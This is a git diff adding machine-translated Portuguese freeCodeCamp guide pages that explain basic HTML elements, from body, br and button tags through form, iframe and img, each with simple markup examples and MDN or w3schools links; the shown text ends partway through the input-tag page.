+O elemento `<body>` deve conter todo o conteúdo de uma página, incluindo todos os elementos de exibição. O elemento `<body>` também pode conter tags `<script>` , geralmente scripts que devem ser executados após o conteúdo de uma página ter sido carregado.
+
+```html
+
+<html> 
+    <head> 
+        <title>Document Titles Belong in the Head</title> 
+    </head> 
+    <body> 
+        <p>This paragraph is content. It goes in the body!</p> 
+    </body> 
+ </html> 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/body)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/br-tag/index.md b/client/src/guide/portuguese/html/elements/br-tag/index.md
new file mode 100644
index 0000000000..99e8743f24
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/br-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Br Tag
+localeTitle: Dia Br
+---
+## Tag Br
+
+A tag `<br>` produz uma quebra de linha em um texto. Isso é útil para poemas e endereços.
+
+### Exemplo
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <body> 
+    Mozilla Foundation<br> 
+    1981 Landings Drive<br> 
+    Building K<br> 
+    Mountain View, CA 94043-0801<br> 
+    USA 
+  </body> 
+ </html> 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/br)
+
+[tag br: w3schools](https://www.w3schools.com/tags/tag_br.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/button-tag/index.md b/client/src/guide/portuguese/html/elements/button-tag/index.md
new file mode 100644
index 0000000000..cbfafdfca1
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/button-tag/index.md
@@ -0,0 +1,56 @@
+---
+title: Button Tag
+localeTitle: Tag do botão
+---
+## Tag do botão
+
+Uma tag `<button>` especifica um botão clicável no documento HTML. Entre as tags `<button>` , você pode colocar conteúdo, como texto ou imagens. Isso é diferente do botão criado usando a tag `<input>` , que usa apenas texto como conteúdo.
+
+**Sintaxe:**
+
+`<button type="submit">Click Here!</button>`
+
+**Atributos:**
+
+A seguir estão os atributos associados suportados pelo HTML 4:
+
+| **Atributos** | **Valor** | **O que faz** | | --- | --- | --- | | desativado | desativado | Desativa o botão | | nome | nome | Especifica um nome para o botão. O nome é para referenciar o botão em formato HTML, JS, etc. | tipo | botão ou redefinir ou enviar | Define o tipo do botão. Um botão com tipo de `button` é um simples botão clicável, com o tipo de `submit` envia dados de formulário e, com o tipo de `reset` , redefine dados de formulário. | | valor | texto | Define um valor inicial para o botão. Esse valor é enviado junto com os dados do formulário. |
+
+O HTML 5 suporta os seguintes atributos extras:
+
+| **Atributos** | **Valor** | **O que faz** | | --- | --- | --- | | autofoco | autofoco | O botão deve obter automaticamente o foco quando a página é carregada. Por exemplo, consulte o Google. À medida que a página é carregada completamente, a caixa de texto obtém foco automaticamente. | | forma | form\_id | Especifica um ou mais formulários aos quais o botão pertence. | | formação | URL | Especifica para onde enviar os dados do formulário quando o botão do tipo de `submit` for pressionado. | | formmethod | obter ou postar | Especifica como enviar os dados do formulário. Apenas para o botão de tipo de `submit` . | | formtarget | `_blank` ou `_self` ou `_parent` ou `_top` ou framename | Especifica o local onde o resultado deve ser exibido após o envio dos dados do formulário. |
+
+**Exemplo:**
+
+```html
+
+<html> 
+  <head> 
+    <title>Button Tag example</title> 
+  </head> 
+  <body> 
+    <form> 
+      First name:<br> 
+      <input type="text" name="firstname" value="Free"> 
+      <br> 
+      Last name:<br> 
+      <input type="text" name="lastname" value="CodeCamp"> 
+      <br><br> 
+      <input type="submit" value="Submit" formtarget="_self"> 
+    </form> 
+  </body> 
+ </html> 
+```
+
+Todos os principais navegadores suportam a tag `<button>` . `<button>` tag `<button>` também suporta atributos de eventos em HTML. **Nota:** Navegadores diferentes podem enviar valores diferentes se você usar o elemento `<button>` . É aconselhável especificar o valor do botão ou usar a tag `<input>` para criar o botão em um formulário HTML.
+
+**Outros recursos:**
+
+*   Outros atributos:
+
+| **Atributos** | **Link** | | --- | --- | | formenctype | https://www.w3schools.com/TAgs/att _button_ formenctype.asp | | formnovalidato | https://www.w3schools.com/TAgs/att _button_ formnovalidate.asp |
+
+*   tag `<input>` : https://www.w3schools.com/TAgs/tag\_input.asp
+*   Atributos do evento: https://www.w3schools.com/TAgs/ref\_eventattributes.asp
+*   valores de atributo de `formtarget` : https://www.w3schools.com/TAgs/att _button_ formtarget.asp
+*   Formulário HTML:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/canvas-tag/index.md b/client/src/guide/portuguese/html/elements/canvas-tag/index.md
new file mode 100644
index 0000000000..77573cf919
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/canvas-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Canvas Tag
+localeTitle: Tag de lona
+---
+## Tag de lona
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/canvas-tag/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/center-tag/index.md b/client/src/guide/portuguese/html/elements/center-tag/index.md
new file mode 100644
index 0000000000..5b24060597
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/center-tag/index.md
@@ -0,0 +1,12 @@
+---
+title: Center Tag
+localeTitle: Tag Center
+---
+## Tag Center
+
+Em HTML, a tag `<center>` é usada para centralizar o texto em uma página. Você pode escrever uma tag `<center>` como `<center>My Text Here</center>` O recurso é obsoleto não recomendado para uso. A tag `<center>` foi descontinuada no HTML 4, o recurso pode ser removido dos navegadores da Web a qualquer momento. Recomenda-se usar o `text-align` CSS para o texto central.
+
+#### Mais Informações:
+
+*   [MDN - Tag do Centro HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/center)
+*   [MDN - Alinhamento de texto CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/code-tag/index.md b/client/src/guide/portuguese/html/elements/code-tag/index.md
new file mode 100644
index 0000000000..d5458d57c4
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/code-tag/index.md
@@ -0,0 +1,16 @@
+---
+title: Code Tag
+localeTitle: Tag de código
+---
+## Tag de código
+
+A tag `<code>` contém o pedaço de código de computador para a página da web. Por padrão, a tag `<code>` exibida na fonte monoespaçada padrão do navegador.
+
+```html
+
+<code>A piece of computer code</code> 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/code)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/comment-tag/index.md b/client/src/guide/portuguese/html/elements/comment-tag/index.md
new file mode 100644
index 0000000000..2807c26d19
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/comment-tag/index.md
@@ -0,0 +1,32 @@
+---
+title: Comment Tag
+localeTitle: Como marcar
+---
+## Tag de comentário
+
+Comentários são tags usadas para deixar anotações no documento. Apenas o desenvolvedor tem acesso aos comentários, o usuário final não vê, a menos que verifique com o Inspector Element do navegador.
+
+Quando você está trabalhando em algum código, é útil deixar dicas para outros desenvolvedores a fim de entender de que trata o trabalho.
+
+### Exemplo
+
+```html
+
+<!-- This is a comment --> 
+```
+
+Os comentários também podem ser usados ​​para tornar o código inativo sem ter que excluí-lo completamente.
+
+### Exemplo
+
+```html
+
+<!-- 
+ <h1>Hello Campers</h1> 
+ --> 
+ <h2>Hello Friends</h2> 
+ <!-- 
+ <p>Hello Paragraph</p> 
+ --> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/div-tag/index.md b/client/src/guide/portuguese/html/elements/div-tag/index.md
new file mode 100644
index 0000000000..2080b6213b
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/div-tag/index.md
@@ -0,0 +1,25 @@
+---
+title: Div Tag
+localeTitle: Tag Div
+---
+## Tag Div
+
+A tag `<div>` é um contêiner genérico que define uma seção em seu documento HTML. Um elemento `<div>` é usado para agrupar seções de elementos HTML e formatá-los com CSS. Um `<div>` é um elemento de nível de bloco. Isso significa que ele ocupa sua própria linha na tela. Elementos logo após o `<div>` serão empurrados para a linha abaixo. Para agrupamentos e estilos semelhantes que não sejam de nível de bloco, mas inline, você usaria a tag `<span>` vez disso. A tag é usada para agrupar elementos inline em um documento.
+
+### Exemplo
+
+Aqui está um exemplo de como exibir uma seção na mesma cor:
+
+```html
+
+<div style="color:#ff0000"> 
+  <h3>my heading</h3> 
+  <p>my paragraph</p> 
+ </div> 
+```
+
+#### Mais Informações:
+
+[Ponto de tutoriais](https://www.tutorialspoint.com/html/html_div_tag.htm)
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/div)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/doctype-tag/index.md b/client/src/guide/portuguese/html/elements/doctype-tag/index.md
new file mode 100644
index 0000000000..549412845b
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/doctype-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Doctype Tag
+localeTitle: Tag do Doctype
+---
+## Tag do Doctype
+
+O código HTML é sempre acompanhado por seu "clichê" de tags. A primeira tag encontrada em qualquer arquivo HTML deve ser uma declaração do Doctype. O html5 doctype `<!DOCTYPE html>` é um preâmbulo obrigatório usado para informar ao navegador qual [modo de renderização](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode) usar (HTML5 vs. XHTML). Certifique-se de colocar o doctype no topo do documento.
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <meta charset=UTF-8> 
+        <title>Document Title</title> 
+    </head> 
+    <body> 
+        <p>Document content.</p> 
+    </body> 
+ </html> 
+```
+
+#### Mais Informações:
+
+*   [Doctype: MDN](https://developer.mozilla.org/en-US/docs/Glossary/Doctype)
+*   [Introdução ao HTML5: MDN](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5)
+*   [Modo Quirks e Modo Standards: MDN](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/em-tag/index.md b/client/src/guide/portuguese/html/elements/em-tag/index.md
new file mode 100644
index 0000000000..50fd9b0f60
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/em-tag/index.md
@@ -0,0 +1,24 @@
+---
+title: Em Tag
+localeTitle: Em Tag
+---
+## Em Tag
+
+A tag `<em>` é usada para enfatizar o texto em um documento HTML. Isso pode ser feito colocando o texto que você gostaria de enfatizar em uma tag `<em>` . A maioria dos navegadores processará texto agrupado em uma tag `<em>` como em itálico.
+
+Nota: A tag `<em>` não deve ser usada para estilizar em itálico o texto. A tag `<em>` é usada para enfatizar a ênfase no texto.
+
+### Exemplo:
+```
+<body> 
+  <p> 
+    Text that requires emphasis should go <em>here</em>. 
+  </p> 
+ </body> 
+```
+
+#### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/em)
+*   [em tag: w3schools](https://www.w3schools.com/tags/tag_em.asp)
+*   [tag em: htmlreference.io](http://htmlreference.io/element/em/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/fieldsets-and-legends/index.md b/client/src/guide/portuguese/html/elements/fieldsets-and-legends/index.md
new file mode 100644
index 0000000000..2302d8d5d2
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/fieldsets-and-legends/index.md
@@ -0,0 +1,11 @@
+---
+title: Fieldsets and Legends
+localeTitle: Fieldsets e Legends
+---
+#### Leitura sugerida:
+
+Veja o [site WebAIM](http://webaim.org/techniques/forms/controls) para obter exemplos de formulários acessíveis - especificamente a parte sobre botões de rádio
+
+#### Versão preliminar do artigo:
+
+Explicação e exemplos para agrupar elementos relacionados em um formulário com os elementos `fieldset` e `legend`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/font-tag/index.md b/client/src/guide/portuguese/html/elements/font-tag/index.md
new file mode 100644
index 0000000000..d391140e18
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/font-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Font Tag
+localeTitle: Tag de fonte
+---
+## Tag de fonte
+
+_Este recurso foi preterido no HTML 4.01 e removido no HTML 5._
+
+O elemento de fonte HTML `<font>` define o tamanho da fonte, cor e face para o seu conteúdo. Ele foi normalizado no HTML 3.2, mas foi descontinuado no HTML 4.01 e agora está obsoleto no HTML5. Embora ainda possa funcionar em alguns navegadores, é aconselhável parar de usá-lo, pois ele pode ser removido a qualquer momento. Fontes de estilo podem ser alcançadas e muito melhor controladas através de CSS, na verdade, todo estilo deve ser escrito usando apenas CSS.
+
+O **primeiro** comportamento do elemento `<font>` :
+
+*   **Cor:** Esse atributo permite definir a cor do texto para uma cor nomeada como 'azul' ou uma cor hexadecimal no formato de #RRGGBB.
+*   **Face:** Esse atributo permite definir a família de fontes e conter uma lista separada por vírgulas de um ou mais nomes de fonte. Se a primeira fonte da lista não for suportada pelo navegador, ela será movida para a segunda fonte. Se nenhuma fonte for suportada ou listada, o navegador normalmente usa uma fonte para esse sistema.
+*   **Tamanho:** esse atributo permite especificar o tamanho da fonte. Há duas maneiras de fazer isso, seja definindo um valor numérico ou um valor relativo. Os valores numéricos variam de 1 a 7, sendo 1 o menor e 3 o padrão. Valores relativos, como -2 ou +2, definem o valor relativo ao tamanho do elemento `<basefont>` ou '3' ao valor padrão.
+
+Um exemplo:
+
+```html
+
+<font face="fontNameHere" size="7" color="blue">My Text Here</font> 
+```
+
+#### Mais Informações:
+
+*   [MDN - tag de fonte HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/font)
+*   [MDN - Fonte CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/font)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/footer-tag/index.md b/client/src/guide/portuguese/html/elements/footer-tag/index.md
new file mode 100644
index 0000000000..2ac36d4826
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/footer-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Footer Tag
+localeTitle: Rodapé
+---
+## Rodapé
+
+A tag `<footer>` indica o rodapé de um documento ou seção HTML. Normalmente, o rodapé contém informações sobre o autor, informações de direitos autorais, informações de contato e um sitemap. Qualquer informação de contato dentro de uma tag `<footer>` deve ir dentro de uma tag `<address>` .
+
+### Exemplo
+
+```html
+
+<html> 
+ <head> 
+  <title>Paragraph example</title> 
+ </head> 
+ <body> 
+  <footer> 
+    <p>&copy; 2017 Joe Smith</p> 
+  </footer> 
+ </body> 
+ </html> 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/footer)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/form-tag/index.md b/client/src/guide/portuguese/html/elements/form-tag/index.md
new file mode 100644
index 0000000000..484b1555a3
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/form-tag/index.md
@@ -0,0 +1,58 @@
+---
+title: Form Tag
+localeTitle: Tag de formulário
+---
+## Tag de formulário
+
+A tag `<form>` é usada para criar formulários em HTML que são para entrada do usuário. Depois que um usuário insere dados e os envia, os dados são enviados ao servidor para serem processados.
+
+Aqui está um exemplo básico de como usar a tag `<form>` :
+
+```html
+
+<form action="/example.php" method="get"> 
+ Name: <input type="text"><br> 
+ Email Address: <input type="text"><br> 
+ <input type="submit" value="Submit"> 
+ </form> 
+```
+
+### Atributo de ação
+
+Todo elemento `<form>` precisa de um atributo de ação. O valor do atributo de ação é a URL no servidor que receberá os dados no formulário quando enviados.
+
+Aqui está um exemplo usando o atributo action:
+
+```html
+
+<form action="http://www.google.com/form.php" method="get"> 
+ <p>Controls will appear inside here.</p> 
+ </form> 
+```
+
+Como você pode ver, o formulário está enviando seus dados para o URL [http://www.google.com/from.php](http://www.google.com/from.php) .
+
+### Método
+
+Os formulários podem ser enviados usando o método GET ou POST.
+
+*   O método GET é ideal para formulários mais curtos, pois anexa dados ao final da URL especificada dentro do atributo action.
+    
+*   O método POST é ideal para formulários mais longos ou quando você está adicionando ou excluindo informações de um banco de dados. Com o método POST, os valores do formulário estão sendo enviados em cabeçalhos HTTP.
+    
+
+### Elementos
+
+O elemento `<form>` terá pelo menos um dos seguintes elementos aninhados dentro dele:
+
+*   [`<input>`](https://guide.freecodecamp.org/html/elements/input "Entrada")
+*   [`<button>`](https://guide.freecodecamp.org/html/elements/button-tag "Botão")
+*   [`<label>`](https://guide.freecodecamp.org/html/elements/label-tag "Rótulo")
+*   [`<select>`](https://guide.freecodecamp.org/html/elements/select-tag "Selecione")
+*   [`<textarea>`](https://guide.freecodecamp.org/html/elements/textarea-tag "Textarea")
+*   [`<fieldset>`](https://guide.freecodecamp.org/html/elements/fieldsets-and-legends "Fieldset")
+
+### Recursos
+
+*   [W3 Escolas Recurso Formulário](https://www.w3schools.com/tags/tag_form.asp "Escolas W3")
+*   [Recurso de Formulário do Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form "Formulário Mozilla")
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/head-tag/index.md b/client/src/guide/portuguese/html/elements/head-tag/index.md
new file mode 100644
index 0000000000..e342d51e6a
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/head-tag/index.md
@@ -0,0 +1,15 @@
+---
+title: Head Tag
+localeTitle: Tag principal
+---
+## Tag principal
+
+A tag `<head>` contém informações sobre uma página da web. Juntamente com `<body>` , é um dos dois elementos necessários de um documento HTML. `<head>` deve ser o primeiro filho de um elemento `<html>` . Só pode haver um elemento `<head>` em uma página.
+
+O elemento `<head>` contém informações sobre como uma página da Web deve ser exibida, também conhecida como metadados. O título do documento, links para folhas de estilo e tags `<script>` vinculados a arquivos JavaScript devem ser colocados no `<head>` . O `<head>` não deve conter nenhum conteúdo da página.
+
+`html <html> <head> <title>Document Titles Belong in the Head</title> </head> <body> <p>This paragraph is content. It goes in the body!</p> </body> </html>`
+
+#### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/head)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/header-tag/index.md b/client/src/guide/portuguese/html/elements/header-tag/index.md
new file mode 100644
index 0000000000..8dfc6cfb9c
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/header-tag/index.md
@@ -0,0 +1,30 @@
+---
+title: Header Tag
+localeTitle: Tag de cabeçalho
+---
+## Tag de cabeçalho
+
+A tag `<header>` é um contêiner que é usado para links de navegação ou conteúdo introdutório. Normalmente, pode incluir elementos de título, como `<h1>` , `<h2>` , mas também pode incluir outros elementos, como um formulário de pesquisa, logotipo, informações do autor etc.
+
+# corresponde ao cabeçalho mais importante. À medida que nos movemos para outras tags como
+
+## ,
+
+### , etc o grau de importância diminui. Embora não seja obrigatório, a tag `<header>` é destinada a conter o cabeçalho de seções vizinhas. Também pode ser usado mais de uma vez em um documento HTML. É importante observar que a tag `<header>` não introduz uma nova seção, mas é simplesmente a cabeça de uma seção.
+
+Aqui está um exemplo usando a tag `<header>` :
+
+```html
+
+<article> 
+  <header> 
+    <h1>Heading of Page</h1> 
+  </header> 
+    <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> 
+ </article> 
+```
+
+#### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/header)
+*   [Escolas W3](https://www.w3schools.com/tags/tag_header.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/hr-tag/index.md b/client/src/guide/portuguese/html/elements/hr-tag/index.md
new file mode 100644
index 0000000000..764e909069
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/hr-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: Hr Tag
+localeTitle: Dia h
+---
+## Hr Tag
+
+A regra horizontal ou `<hr>` é uma tag que permite inserir uma linha divisória, definindo o conteúdo do seu documento. É muito importante esclarecer que essa tag é uma quebra temática; nas versões anteriores de .html é uma regra horizontal.
+
+### Exemplo
+```
+<!DOCTYPE html> 
+ <html> 
+  <body> 
+    <h2>FreeCodeCamp</h2> 
+    <p>FreeCodeCamp is a place where you can learn to code from scratch to professional</p> 
+ 
+    <hr> 
+ 
+    <h3>How to start</h3> 
+    <p>Just go to <a href="www.freecodecamp.com">FreeCodeCamp website and start learning!</a></p> 
+ 
+    <hr> 
+  </body 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/i-tag/index.md b/client/src/guide/portuguese/html/elements/i-tag/index.md
new file mode 100644
index 0000000000..ca54741fd0
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/i-tag/index.md
@@ -0,0 +1,20 @@
+---
+title: I Tag
+localeTitle: Eu tag
+---
+## Eu tag
+
+O elemento `<i>` é usado para denotar o texto que é separado do texto ao redor de alguma forma. Por padrão, o texto rodeado por tags `<i>` será exibido em tipo itálico.
+
+Nas especificações HTML anteriores, a tag `<i>` era usada apenas para denotar o texto a ser colocado em itálico. No HTML semântico moderno, no entanto, tags como `<em>` e `<strong>` devem ser usadas quando apropriado. Você pode usar o atributo "class" do elemento `<i>` para indicar por que o texto nas tags é diferente do texto ao redor. Você pode querer mostrar que o texto ou frase é de um idioma diferente, como no exemplo abaixo.
+
+```HTML
+<p>The French phrase <i class="french">esprit de corps</i> is often 
+ used to describe a feeling of group cohesion and fellowship.</p> 
+```
+
+#### Mais Informações:
+
+*   [O elemento HTML <i>: MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/i)
+*   [Eu marquei: w3schools](https://www.w3schools.com/tags/tag_i.asp)
+*   [Eu marquei: htmlreference.io](http://htmlreference.io/element/i/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/iframe-tag/index.md b/client/src/guide/portuguese/html/elements/iframe-tag/index.md
new file mode 100644
index 0000000000..f029a49bd4
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/iframe-tag/index.md
@@ -0,0 +1,33 @@
+---
+title: Iframe Tag
+localeTitle: Tag Iframe
+---
+## Tag Iframe
+
+As tags Iframe são usadas para adicionar uma página da Web ou aplicativo existente ao seu website em um espaço definido.
+
+Ao usar as tags iframe, o atributo src deve ser usado para indicar o local da página da Web ou do aplicativo a ser usado no quadro.
+
+```html
+
+<iframe src="framesite/index.html"></iframe> 
+```
+
+Você pode definir os atributos de largura e altura para limitar o tamanho do quadro.
+
+```html
+
+<iframe src="framesite/index.html" height="500" width="200"></iframe> 
+```
+
+Iframes tem uma borda por padrão, se você deseja remover isso, você pode fazê-lo usando o atributo style e definindo propriedades de borda CSS como none.
+
+```html
+
+<iframe src="framesite/index.html" height="500" width="200" style="border:none;"></iframe> 
+```
+
+#### Mais Informações:
+
+*   [MDN - tag iframe HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)
+*   [W3 - especificação de iframe HTML 5.2](https://www.w3.org/TR/html5/semantics-embedded-content.html#the-iframe-element)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/img-tag/index.md b/client/src/guide/portuguese/html/elements/img-tag/index.md
new file mode 100644
index 0000000000..0626bd02e8
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/img-tag/index.md
@@ -0,0 +1,36 @@
+---
+title: Img Tag
+localeTitle: Tag Img
+---
+## Tag Img
+
+Um simples elemento HTML Image pode ser incluído em um documento HTML como este:
+
+```html
+
+<img src="path/to/image/file" alt="this is a cool picture"> 
+```
+
+Tags `alt` fornecem texto alternativo para uma imagem. Um uso da tag `alt` é para pessoas com deficiência visual usando um leitor de tela; eles podem ser lidos na tag `alt` da imagem para entender o significado da imagem.
+
+Observe que o caminho para o arquivo de imagem pode ser relativo ou absoluto. Além disso, lembre-se de que o elemento `img` é de fechamento automático, o que significa que ele não fecha com a tag `<img />` e, em vez disso, fecha com apenas um único `>` .
+
+Exemplo:
+
+```html
+
+<img src="https://example.com/image.png" alt="my picture"> 
+```
+
+(Isto está assumindo que o arquivo html está em https://example.com/index.html, então está na mesma pasta que o arquivo de imagem)
+
+é o mesmo que:
+
+```html
+
+<img src="image.png" alt="my picture"> 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img) [W3Schools](https://www.w3schools.com/TAGs/tag_img.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/index.md b/client/src/guide/portuguese/html/elements/index.md
new file mode 100644
index 0000000000..0f366531a6
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/index.md
@@ -0,0 +1,118 @@
+---
+title: Elements
+localeTitle: Elementos
+---
+# Elementos HTML
+
+Elementos são os blocos de construção do HTML que descrevem a estrutura e o conteúdo de uma página da web. Eles são a parte "Markup" do HyperText Markup Language (HTML).
+
+A sintaxe HTML usa os colchetes angulares ("<" e ">") para manter o nome de um elemento HTML. Os elementos geralmente têm uma tag de abertura e uma tag de fechamento e fornecem informações sobre o conteúdo que contêm. A diferença entre os dois é que a tag de fechamento tem uma barra.
+
+Aqui está um exemplo usando o [elemento p](#) ( `<p>` ) para informar ao navegador que um grupo de texto é um parágrafo:
+
+```html
+
+<p>This is a paragraph.</p> 
+```
+
+As tags de abertura e fechamento devem corresponder, caso contrário, o navegador pode exibir conteúdo de maneira inesperada.
+
+![Quadrinhos XKCD mostrando o texto "Q: Como você incomoda um desenvolvedor?" cercado por uma tag div de abertura e tag span de fechamento](http://imgs.xkcd.com/comics/tags.png)
+
+## Elementos de fechamento automático
+
+Alguns elementos HTML são de fechamento automático, o que significa que eles não têm uma tag de fechamento separada. Elementos de fechamento automático normalmente inserem algo em seu documento.
+
+Um exemplo é o [elemento br](#) ( `<br>` ), que insere uma quebra de linha no texto. Anteriormente, as tags de fechamento automático tinham a barra invertida ( `<br />` ), no entanto, a especificação HTML5 não exige mais isso.
+
+## Funcionalidade de Elemento HTML
+
+Existem muitos elementos HTML disponíveis. Aqui está uma lista de algumas das funções que eles executam:
+
+*   dar informações sobre a própria página da web (os metadados)
+*   estruturar o conteúdo da página em seções
+*   incorporar imagens, vídeos, clipes de áudio ou outros recursos multimídia
+*   criar listas, tabelas e formulários
+*   dar mais informações sobre determinado conteúdo de texto
+*   link para folhas de estilo que têm regras sobre como o navegador deve exibir a página
+*   adicionar scripts para tornar uma página mais interativa e dinâmica
+
+## Aninhando Elementos HTML
+
+Você pode aninhar elementos dentro de outros elementos em um documento HTML. Isso ajuda a definir a estrutura da página. Apenas certifique-se de que as tags fechem primeiro do elemento mais interno.
+
+Corrigir: `<p>This is a paragraph that contains a <span>span element.</span></p>`
+
+Incorreta: `<p>This is a paragraph that contains a <span>span element.</p></span>`
+
+## Elementos em bloco e inline
+
+Os elementos vêm em duas categorias gerais, conhecidas como nível de bloco e inline. Os elementos no nível do bloco iniciam automaticamente em uma nova linha, enquanto os elementos incorporados ficam no conteúdo ao redor.
+
+Os elementos que ajudam a estruturar a página em seções, como uma barra de navegação, títulos e parágrafos, geralmente são elementos no nível do bloco. Elementos que inserem ou fornecem mais informações sobre o conteúdo são geralmente inline, como [links](#) ou [imagens](#) .
+
+## O elemento HTML
+
+Há um elemento `<html>` que é usado para conter a outra marcação para um documento HTML. Também é conhecido como o elemento "raiz" porque é o pai dos outros elementos HTML e o conteúdo de uma página.
+
+Aqui está um exemplo de uma página com um [elemento head](#the-head-element) , um [elemento body](#the-body-element) e um [parágrafo](#the-p-element) :
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+  </head> 
+  <body> 
+    <p>I'm a paragraph</p> 
+  </body> 
+ </html> 
+```
+
+## O elemento HEAD
+
+Este é o contêiner para processar informações e metadados para um documento HTML.
+
+```html
+
+<head> 
+  <meta charset="utf-8"> 
+ </head> 
+```
+
+## O elemento BODY
+
+Este é o contêiner para o conteúdo exibível de um documento HTML.
+
+```html
+
+<body>...</body> 
+```
+
+## O elemento P
+
+Cria um parágrafo, talvez o elemento de nível de bloco mais comum.
+
+```html
+
+<p>...</p> 
+```
+
+## O elemento A (link)
+
+Cria um hiperlink para direcionar visitantes para outra página ou recurso.
+
+```html
+
+<a href="#">...</a> 
+```
+
+## Outros recursos
+
+*   [Parágrafos HTML](#)
+*   [HTML br](#)
+*   [Links HTML](#)
+*   [Imagens HTML](#)
+*   [HTML Head](#)
+*   [Corpo HTML](#)
+*   [DOCTYPE HTML](#)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/input-tag/index.md b/client/src/guide/portuguese/html/elements/input-tag/index.md
new file mode 100644
index 0000000000..f7bdf1a655
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/input-tag/index.md
@@ -0,0 +1,82 @@
+---
+title: Input Tag
+localeTitle: Tag de Entrada
+---
+## Entrada
+
+A tag de entrada HTML pode ser incluída em um documento HTML como este:
+
+```html
+
+<input type="text"> 
+```
+
+Isso cria uma área na qual um usuário pode inserir informações facilmente. Esta informação é então enviada para um banco de dados de back-end e armazenada ou usada mais abaixo no site ou aplicativo.
+
+Uma entrada com "type = 'text'" produzirá um campo de linha única onde qualquer informação pode ser inserida. Outros tipos comuns de entradas incluem, mas não estão limitados a: botão, caixa de seleção, cor, email e senha.
+
+### Os tipos mais comuns usados
+
+*   `text` : um campo de texto de linha única.
+    
+*   `button` : um botão sem comportamento padrão.
+    
+*   `submit` : um botão que envia o formulário.
+    
+*   `checkbox` : Uma caixa de seleção que permite que os valores sejam selecionados / desmarcados.
+    
+*   `date` : para inserir uma data (ano, mês e dia).
+    
+*   `email` : para editar um endereço de e-mail.
+    
+*   `file` : permite que o usuário selecione um arquivo.
+    
